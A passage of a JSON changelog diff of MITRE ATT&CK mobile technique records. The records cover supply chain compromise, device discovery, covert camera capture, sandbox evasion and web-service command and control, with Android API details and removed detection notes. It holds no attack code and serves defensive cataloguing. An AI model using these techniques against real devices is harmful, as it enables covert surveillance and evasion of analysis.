"https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-15.html", + "external_id": "SPC-15" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-16.html", + "external_id": "SPC-16" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-17.html", + "external_id": "SPC-17" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-18.html", + "external_id": "SPC-18" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-19.html", + "external_id": "SPC-19" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-20.html", + "external_id": "SPC-20" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-21.html", + "external_id": "SPC-21" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:23.643000+00:00\", \"old_value\": \"2024-11-17 13:32:52.029000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Usage of insecure or malicious third-party libraries could be detected by application vetting services. Malicious software development tools could be detected by enterprises that deploy endpoint protection software on computers that are used to develop mobile apps. Application vetting could detect the usage of insecure or malicious third-party libraries.\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1001: Security Updates", + "M1013: Application Developer Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (API Calls)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0628: Detection of Supply Chain Compromise" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c08366bb-8d11-4921-853f-f0a3b6a2a1da", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-28 19:30:15.556000+00:00", + "modified": "2025-10-24 17:49:19.406000+00:00", + "name": "Compromise Hardware Supply Chain", + "description": "Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1474/002", + "external_id": "T1474.002" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-1.html", + "external_id": "SPC-1" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-2.html", + "external_id": "SPC-2" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-4.html", + "external_id": "SPC-4" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-5.html", + "external_id": "SPC-5" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-6.html", + "external_id": "SPC-6" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-7.html", + "external_id": "SPC-7" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-8.html", + "external_id": "SPC-8" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-13.html", + "external_id": "SPC-13" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-16.html", + "external_id": "SPC-16" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-17.html", + "external_id": "SPC-17" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-21.html", + "external_id": "SPC-21" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:19.406000+00:00\", \"old_value\": \"2025-04-16 21:21:54.553000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Integrity checking mechanisms can potentially detect unauthorized hardware modifications.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1001: Security Updates" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0013: Sensor Health (Host Status)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0604: Detection of Compromise Hardware Supply Chain" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7827ced0-95e7-4d05-bdcf-0d8f2d37a3d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-28 19:31:51.978000+00:00", + "modified": "2025-10-24 17:48:58.857000+00:00", + "name": "Compromise Software Dependencies and Development Tools", + "description": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Grace-Advertisement)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1474/001", + "external_id": "T1474.001" + }, + { + "source_name": "Grace-Advertisement", + "description": "M. Grace et al. (2012, April 16-18). Unsafe exposure analysis of mobile in-app advertisements. Retrieved November 17, 2024.", + "url": "https://dl.acm.org/doi/10.1145/2185448.2185464" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html", + "external_id": "APP-6" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-0.html", + "external_id": "SPC-0" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-3.html", + "external_id": "SPC-3" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-9.html", + "external_id": "SPC-9" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-10.html", + "external_id": "SPC-10" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-15.html", + "external_id": "SPC-15" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:58.857000+00:00\", \"old_value\": \"2024-11-17 13:32:52.030000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Usage of insecure or malicious third-party libraries could be detected by application vetting services. Malicious software development tools could be detected by enterprises that deploy endpoint protection software on computers that are used to develop mobile apps. Application vetting could detect the usage of insecure or malicious third-party libraries.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1013: Application Developer Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (API Calls)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0704: Detection of Compromise Software Dependencies and Development Tools" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--9558a84e-2d5e-4872-918e-d847494a8ffc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-28 19:25:17.596000+00:00", + "modified": "2025-10-24 17:49:07.487000+00:00", + "name": "Compromise Software Supply Chain", + "description": "Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1474/003", + "external_id": "T1474.003" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-4.html", + "external_id": "SPC-4" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-11.html", + "external_id": "SPC-11" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-12.html", + "external_id": "SPC-12" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-18.html", + "external_id": "SPC-18" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-20.html", + "external_id": "SPC-20" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:07.487000+00:00\", \"old_value\": \"2025-04-16 21:21:52.139000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Application vetting services can detect malicious code in applications. System partition integrity checking mechanisms can detect unauthorized or malicious code contained in the system partition.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1001: Security Updates", + "M1004: System Partition Integrity" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0013: Sensor Health (Host Status)", + "DS0041: Application Vetting (API Calls)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0721: Detection of Compromise Software Supply Chain" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e2ea7f6b-8d4f-49c3-819d-660530d12b77", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-10-25 14:48:19.265000+00:00", + "modified": "2025-10-24 17:49:31.141000+00:00", + "name": "System Information Discovery", + "description": "Adversaries may attempt to get detailed information about a device\u2019s operating system and hardware, including versions, patches, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1426) during automated discovery to shape follow-on behaviors, including whether or not to fully infects the target and/or attempts specific actions. \n\n \n\nOn Android, much of this information is programmatically accessible to applications through the `android.os.Build` class. (Citation: Android-Build) iOS is much more restrictive with what information is visible to applications. Typically, applications will only be able to query the device model and which version of iOS it is running. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1426", + "external_id": "T1426" + }, + { + "source_name": "Android-Build", + "description": "Android. (n.d.). Build. Retrieved December 21, 2016.", + "url": "https://developer.android.com/reference/android/os/Build" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-12.html", + "external_id": "APP-12" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:31.141000+00:00\", \"old_value\": \"2025-04-16 21:21:57.841000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System information discovery can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0601: Detection of System Information Discovery" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d4536441-1bcc-49fa-80ae-a596ed3f7ffd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-10-25 14:48:32.740000+00:00", + "modified": "2025-10-24 17:49:26.973000+00:00", + "name": "System Network Configuration Discovery", + "description": "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of devices they access or through information discovery of remote systems. \n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1422) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. \n\nOn Android, details of onboard network interfaces are accessible to apps through the `java.net.NetworkInterface` class.(Citation: NetworkInterface) Previously, the Android `TelephonyManager` class could be used to gather telephony-related device identifiers, information such as the IMSI, IMEI, and phone number. However, starting with Android 10, only preloaded, carrier, the default SMS, or device and profile owner applications can access the telephony-related device identifiers.(Citation: TelephonyManager) \n\n \n\nOn iOS, gathering network configuration information is not possible without root access. \n\n \n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1422) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1422", + "external_id": "T1422" + }, + { + "source_name": "NetworkInterface", + "description": "Android. (n.d.). NetworkInterface. Retrieved December 21, 2016.", + "url": "https://developer.android.com/reference/java/net/NetworkInterface.html" + }, + { + "source_name": "TelephonyManager", + "description": "Android. (n.d.). TelephonyManager. Retrieved December 21, 2016.", + "url": "https://developer.android.com/reference/android/telephony/TelephonyManager.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "2.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:26.973000+00:00\", \"old_value\": \"2024-02-20 23:35:22.949000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Application vetting services could look for usage of the `READ_PRIVILEGED_PHONE_STATE` Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to.\"}}}", + "previous_version": "2.4", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (Permissions Requests)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0634: Detection of System Network Configuration Discovery" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--dd818ea5-adf5-41c7-93b5-f3b839a219fb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-10-25 14:48:33.574000+00:00", + "modified": "2025-10-24 17:49:29.321000+00:00", + "name": "System Network Connections Discovery", + "description": "Adversaries may attempt to get a listing of network connections to or from the compromised device they are currently accessing or from remote systems by querying for information over the network. \n\n \n\nThis is typically accomplished by utilizing device APIs to collect information about nearby networks, such as Wi-Fi, Bluetooth, and cellular tower connections. On Android, this can be done by querying the respective APIs: \n\n \n\n* `WifiInfo` for information about the current Wi-Fi connection, as well as nearby Wi-Fi networks. Querying the `WiFiInfo` API requires the application to hold the `ACCESS_FINE_LOCATION` permission. \n\n* `BluetoothAdapter` for information about Bluetooth devices, which also requires the application to hold several permissions granted by the user at runtime. \n\n* For Android versions prior to Q, applications can use the `TelephonyManager.getNeighboringCellInfo()` method. For Q and later, applications can use the `TelephonyManager.getAllCellInfo()` method. Both methods require the application hold the `ACCESS_FINE_LOCATION` permission.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1421", + "external_id": "T1421" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:29.321000+00:00\", \"old_value\": \"2025-04-16 21:21:57.189000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System Network Connections Discovery can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0636: Detection of System Network Connections Discovery" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d8940e76-f9c1-4912-bea6-e21c251370b6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-09 16:14:58.254000+00:00", + "modified": "2025-10-24 17:49:28.248000+00:00", + "name": "Video Capture", + "description": "An adversary can leverage a device\u2019s cameras to gather information by capturing video recordings. Images may also be captured, potentially in specified intervals, in lieu of video files. \n\n \n\nMalware or scripts may interact with the device cameras through an available API provided by the operating system. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1513) due to use of the device\u2019s cameras for video recording rather than capturing the victim\u2019s screen. \n\n \n\nIn Android, an application must hold the `android.permission.CAMERA` permission to access the cameras. In iOS, applications must include the `NSCameraUsageDescription` key in the `Info.plist` file. In both cases, the user must grant permission to the requesting application to use the camera. If the device has been rooted or jailbroken, an adversary may be able to access the camera without knowledge of the user. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1512", + "external_id": "T1512" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html", + "external_id": "APP-19" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:28.248000+00:00\", \"old_value\": \"2025-04-16 21:21:56.716000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"The user can view which applications have permission to use the camera through the device settings screen, where the user can then choose to revoke the permissions. During the vetting process, applications using the Android permission `android.permission.CAMERA`, or the iOS `NSCameraUsageDescription` plist entry could be given closer scrutiny. \"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (Permissions Requests)", + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0695: Detection of Video Capture" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--27d18e87-8f32-4be1-b456-39b90454360f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-30 17:51:29.550000+00:00", + "modified": "2025-10-24 17:48:32.877000+00:00", + "name": "Virtualization/Sandbox Evasion", + "description": "Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors after checking for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware\u2019s behavior to disengage from the victim or conceal the core functions of the payload. They may also search for VME artifacts before dropping further payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1633) during automated discovery to shape follow-on behaviors. \n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1633) such as checking for system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1633", + "external_id": "T1633" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:32.877000+00:00\", \"old_value\": \"2025-04-16 21:21:46.725000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Application vetting services could look for applications attempting to get `android.os.SystemProperties` or `getprop` with the runtime `exec()` commands. This could indicate some level of sandbox evasion, as Google recommends against using system properties within applications.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (API Calls)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0616: Detection of Virtualization/Sandbox Evasion" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--6ffad4be-bfe0-424f-abde-4d9a84a800ad", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-30 17:53:35.582000+00:00", + "modified": "2025-10-24 17:48:56.336000+00:00", + "name": "System Checks", + "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behavior after checking for the presence of artifacts indicative of a virtual environment or sandbox. If the adversary detects a virtual environment, they may alter their malware\u2019s behavior to disengage from the victim or conceal the core functions of the implant. They may also search for virtualization artifacts before dropping secondary or additional payloads. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. \n\nHardware checks, such as the presence of motion sensors, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1633/001", + "external_id": "T1633.001" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:56.336000+00:00\", \"old_value\": \"2025-04-16 21:21:50.837000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Application vetting services could look for applications attempting to get `android.os.SystemProperties` or `getprop` with the runtime `exec()` commands. This could indicate some level of sandbox evasion, as Google recommends against using system properties within applications.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (API Calls)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0625: Detection of System Checks" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c6a146ae-9c63-4606-97ff-e261e76e8380", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-01 17:29:43.503000+00:00", + "modified": "2025-10-24 17:49:22.184000+00:00", + "name": "Web Service", + "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. \n\n \n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis, or enable operational resiliency (since this infrastructure may be dynamically changed). \n\n ", + "kill_chain_phases": [ + { + "kill_chain_name": 